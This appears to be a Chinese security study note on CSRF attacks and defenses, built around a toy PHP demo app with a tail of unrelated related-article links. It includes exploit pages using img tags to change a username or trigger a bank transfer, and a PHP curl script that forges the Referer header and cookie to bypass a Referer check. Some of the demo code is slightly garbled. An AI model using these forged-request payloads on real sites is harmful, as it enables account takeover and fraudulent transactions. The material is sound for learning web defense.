原理 

登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。

 #csrfdemo.php
<?php
$data = json_decode(file_get_contents('data.json'), true); if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; }
6  ?>
7  <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#CSRFUpdate.php   //exp
<?php
echo 'Change Username';
?>
<img src="../Update.php?uid=101&username=jsonp">

  

Update.php
<?php $str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?> 
#data.json
{"id":"101","username":"jsonp"}

Login CSRF 

登录界面CSRF - 无 Token(有Reffer和Session构造失败)

验证

Burpsuite生成POC

利用

伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件

转账

GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
-》受害者点击
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱

CSRF - 上传文件 

防御

静态语言

使用Hash加密cookie中csrf_token值

动态语言

使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作

Referer字段(同源)

 #Update.php
<?php
if(!empty($_SERVER['HTTP_REFERER'])) {
if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
echo "非法请求";
exit();
}
}
$str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?>

Referer字段(同源)-绕过

//curl构造Referer头
<?php
function curl_post($url){
$refer = 'csrfdemo.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
// echo 'Change Username';
var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">

通过csrf_token csrf_token 进行验证(session+token)

绕过:session劫持+token劫持

 使用CORS

应用安全-Web安全-CSRF攻防整理的更多相关文章

  1. .NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  2. 转载:.NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  3. Web API CSRF保护实现

    Web API CSRF保护实现 这次自己实现了类似jQuery中ajax调用的方法,并且针对RESTFul进行了改造和集成,实现的A2D AJAX接口如下: $.ajax.RESTFulGetCol ...

  4. .NET Web开发技术简单整理 转

    .NET Web开发技术简单整理 原文:http://www.cnblogs.com/SanMaoSpace/p/3157293.html 在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何 ...

  5. web安全问题-csrf

    web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf ...

  6. Web安全之CSRF漏洞整理总结

    这两天整理和编写了csrf的靶场,顺便也复习了以前学习csrf的点,这里记录下学习的总结点. 0x01 关于CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. 移动端 Web 开发前端知识整理

    文章来源: http://www.restran.net/2015/05/14/mobile-web-front-end-collections/ 最近整理的移动端 Web 开发前端知识,不定期更新. ...

  9. 【web前端面试题整理06】成都第一弹,邂逅聚美优品

    前言 上周四回了成都,休息了一下下,工作问题还是需要解决的,于是今天去面试了一下,现在面试回来了,我感觉还是可以整理一下心得. 这个面试题整理系列是为了以后前端方面的兄弟面试时候可以得到一点点帮助,因 ...

随机推荐

  1. 04-A的LU分解

    一.矩阵$AB$的逆 $(AB)^{-1}=B^{-1}A^{-1}$,顺序正好相反 二.$A=LU$ 如矩阵: $\left[\begin{array}{ll}{2} & {1} \\ {8 ...

  2. “jps”命令的用处?

    jps位于jdk的bin目录下,其作用是显示当前系统的java进程情况,及其id号. jps相当于Solaris进程工具ps.不像”pgrep java” 或”ps -ef grep java”,jp ...

  3. CF1103C Johnny Solving (Codeforces Round #534 (Div. 1)) 思维+构造

    题目传送门 https://codeforces.com/contest/1103/problem/C 题解 这个题还算一个有难度的不错的题目吧. 题目给出了两种回答方式: 找出一条长度 \(\geq ...

  4. java 生成透明背景图片

    //开始绘图 graphics2d.setBackground(Color.WHITE); graphics2d.clearRect(0, 0, width, height); graphics2d. ...

  5. HTML中表格table标签的实例

    一.表格有边框,第一行居中对齐 二.表格没有边框 三.表格有水平标题 四.表格有垂直标题 五.合并行单元格 colspan合并单元格 六.表格有单元格边距(内边距) 七.表格没有单元格间距 八.表格有 ...

  6. Spring read-only="true" 只读事务的一些概念

    概念:从这一点设置的时间点开始(时间点a)到这个事务结束的过程中,其他事务所提交的数据,该事务将看不见!(查询中不会出现别人在时间点a之后提交的数据) 应用场合: 如果你一次执行单条查询语句,则没有必 ...

  7. 跳转控制语句continue

    1 continue的使用场景: 1.1 在循环语句中 注意:离开使用场景的存在是没有意义的 2 continue的作用: 2.1 单层循环对比break,然后总结两者的区别 2.1.1 break ...

  8. urllib2之开放代理与私密代理

    1.开放代理 import urllib2 #构建代理对象 httpproxy_handler = urllib2.ProxyHandler({'http':'填入代理IP'}) #构建opener对 ...

  9. bootstrap datetimepicker 位置错误

    bootstrap datetimepicker 位置错误,大致问题跟其他网友描述的一样,页面自动出滚动条,然后datetimepicker飘到页脚,网上的方法都是修改place方法里面的555行左右 ...

  10. EQS 自定义Context 如何用Testing Pawn 进行测试?

    比如自定义了一个玩家的Context, 那么需要把这个玩家直接放置到场景中 在Context中override Provide Single Actor函数,按类型获取所有的Actor,其中第一个作为 ...